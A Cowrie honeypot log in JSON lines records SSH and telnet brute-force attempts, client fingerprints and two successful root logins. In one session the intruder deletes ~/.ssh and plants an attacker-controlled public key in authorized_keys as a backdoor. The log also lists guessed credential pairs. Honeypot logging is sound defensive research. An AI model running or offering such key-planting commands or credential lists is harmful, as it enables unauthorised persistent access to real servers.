{"eventid":"cowrie.session.closed","duration":30.502622365951538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:51:20.119178Z","src_ip":"47.237.144.66","session":"40557fc2b99d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.54.66","src_port":58098,"dst_ip":"10.17.0.5","dst_port":22,"session":"63f9bf620a4f","protocol":"ssh","message":"New connection: 101.126.54.66:58098 (10.17.0.5:22) [session: 63f9bf620a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:52:18.892374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:52:18.908462Z","src_ip":"101.126.54.66","session":"63f9bf620a4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:52:19.154038Z","src_ip":"101.126.54.66","session":"63f9bf620a4f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Qwerty11","message":"login attempt [root/Qwerty11] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:52:20.182920Z","src_ip":"101.126.54.66","session":"63f9bf620a4f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:52:20.791913Z","src_ip":"101.126.54.66","session":"63f9bf620a4f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:52:20.794026Z","src_ip":"101.126.54.66","session":"63f9bf620a4f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:52:20.796627Z","src_ip":"101.126.54.66","session":"63f9bf620a4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44412,"dst_ip":"10.17.0.5","dst_port":22,"session":"21cd3f06c576","protocol":"ssh","message":"New connection: 2.57.122.208:44412 (10.17.0.5:22) [session: 21cd3f06c576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:52:32.715457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:52:32.763048Z","src_ip":"2.57.122.208","session":"21cd3f06c576","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:52:32.834035Z","src_ip":"2.57.122.208","session":"21cd3f06c576","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:52:33.351894Z","src_ip":"2.57.122.208","session":"21cd3f06c576","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:52:34.511799Z","src_ip":"2.57.122.208","session":"21cd3f06c576","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.85","src_port":64992,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcab0f47dd7c","protocol":"telnet","message":"New connection: 147.185.132.85:64992 (10.17.0.5:23) [session: fcab0f47dd7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:52:35.969468Z"}
{"eventid":"cowrie.session.closed","duration":9.974298238754272,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:52:45.943612Z","src_ip":"147.185.132.85","session":"fcab0f47dd7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":25353,"dst_ip":"159.203.135.109","dst_port":22,"session":"affc27631c6a","protocol":"ssh","message":"New connection: 213.209.159.159:25353 (159.203.135.109:22) [session: affc27631c6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:53:30.927606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:53:30.931651Z","src_ip":"213.209.159.159","session":"affc27631c6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:53:31.014631Z","src_ip":"213.209.159.159","session":"affc27631c6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"turner","password":"turner","message":"login attempt [turner/turner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:53:31.421561Z","src_ip":"213.209.159.159","session":"affc27631c6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"turner","password":"turner1","message":"login attempt [turner/turner1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:53:32.552421Z","src_ip":"213.209.159.159","session":"affc27631c6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"turner","password":"turner123","message":"login attempt [turner/turner123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:53:33.638210Z","src_ip":"213.209.159.159","session":"affc27631c6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"turner","password":"turner1234","message":"login attempt [turner/turner1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:53:34.724490Z","src_ip":"213.209.159.159","session":"affc27631c6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"turner","password":"turner12345","message":"login attempt [turner/turner12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:53:35.811115Z","src_ip":"213.209.159.159","session":"affc27631c6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:53:36.896946Z","src_ip":"213.209.159.159","session":"affc27631c6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":49724,"dst_ip":"10.17.0.5","dst_port":22,"session":"ece08752c971","protocol":"ssh","message":"New connection: 2.57.122.208:49724 (10.17.0.5:22) [session: ece08752c971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:54:42.144941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:54:42.149701Z","src_ip":"2.57.122.208","session":"ece08752c971","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:54:42.251205Z","src_ip":"2.57.122.208","session":"ece08752c971","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:54:42.555118Z","src_ip":"2.57.122.208","session":"ece08752c971","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:54:43.668590Z","src_ip":"2.57.122.208","session":"ece08752c971","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47418,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b006f31e47b","protocol":"ssh","message":"New connection: 2.57.122.208:47418 (10.17.0.5:22) [session: 5b006f31e47b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:56:49.567024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:56:49.580920Z","src_ip":"2.57.122.208","session":"5b006f31e47b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:56:49.695827Z","src_ip":"2.57.122.208","session":"5b006f31e47b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:56:50.171127Z","src_ip":"2.57.122.208","session":"5b006f31e47b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:56:51.288431Z","src_ip":"2.57.122.208","session":"5b006f31e47b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"301.3","message":"Connection lost after 301.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:57:20.188262Z","src_ip":"101.126.54.66","session":"63f9bf620a4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.120.246","src_port":15312,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa4762f80db6","protocol":"ssh","message":"New connection: 167.172.120.246:15312 (10.17.0.5:22) [session: aa4762f80db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:13.990737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:13.997735Z","src_ip":"167.172.120.246","session":"aa4762f80db6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:14.074623Z","src_ip":"167.172.120.246","session":"aa4762f80db6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"123qwe123qwe","message":"login attempt [root/123qwe123qwe] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:14.412911Z","src_ip":"167.172.120.246","session":"aa4762f80db6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:14.606960Z","src_ip":"167.172.120.246","session":"aa4762f80db6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:14.610512Z","src_ip":"167.172.120.246","session":"aa4762f80db6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:14.614300Z","src_ip":"167.172.120.246","session":"aa4762f80db6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:14.693821Z","src_ip":"167.172.120.246","session":"aa4762f80db6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:14.877425Z","src_ip":"167.172.120.246","session":"aa4762f80db6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:14.880616Z","src_ip":"167.172.120.246","session":"aa4762f80db6","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:14.960292Z","src_ip":"167.172.120.246","session":"aa4762f80db6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:14.963703Z","src_ip":"167.172.120.246","session":"aa4762f80db6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.120.246","src_port":15324,"dst_ip":"10.17.0.5","dst_port":22,"session":"7eb097ecece4","protocol":"ssh","message":"New connection: 167.172.120.246:15324 (10.17.0.5:22) [session: 7eb097ecece4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:15.014946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:58:15.019114Z","src_ip":"167.172.120.246","session":"7eb097ecece4","protocol":"ssh"}
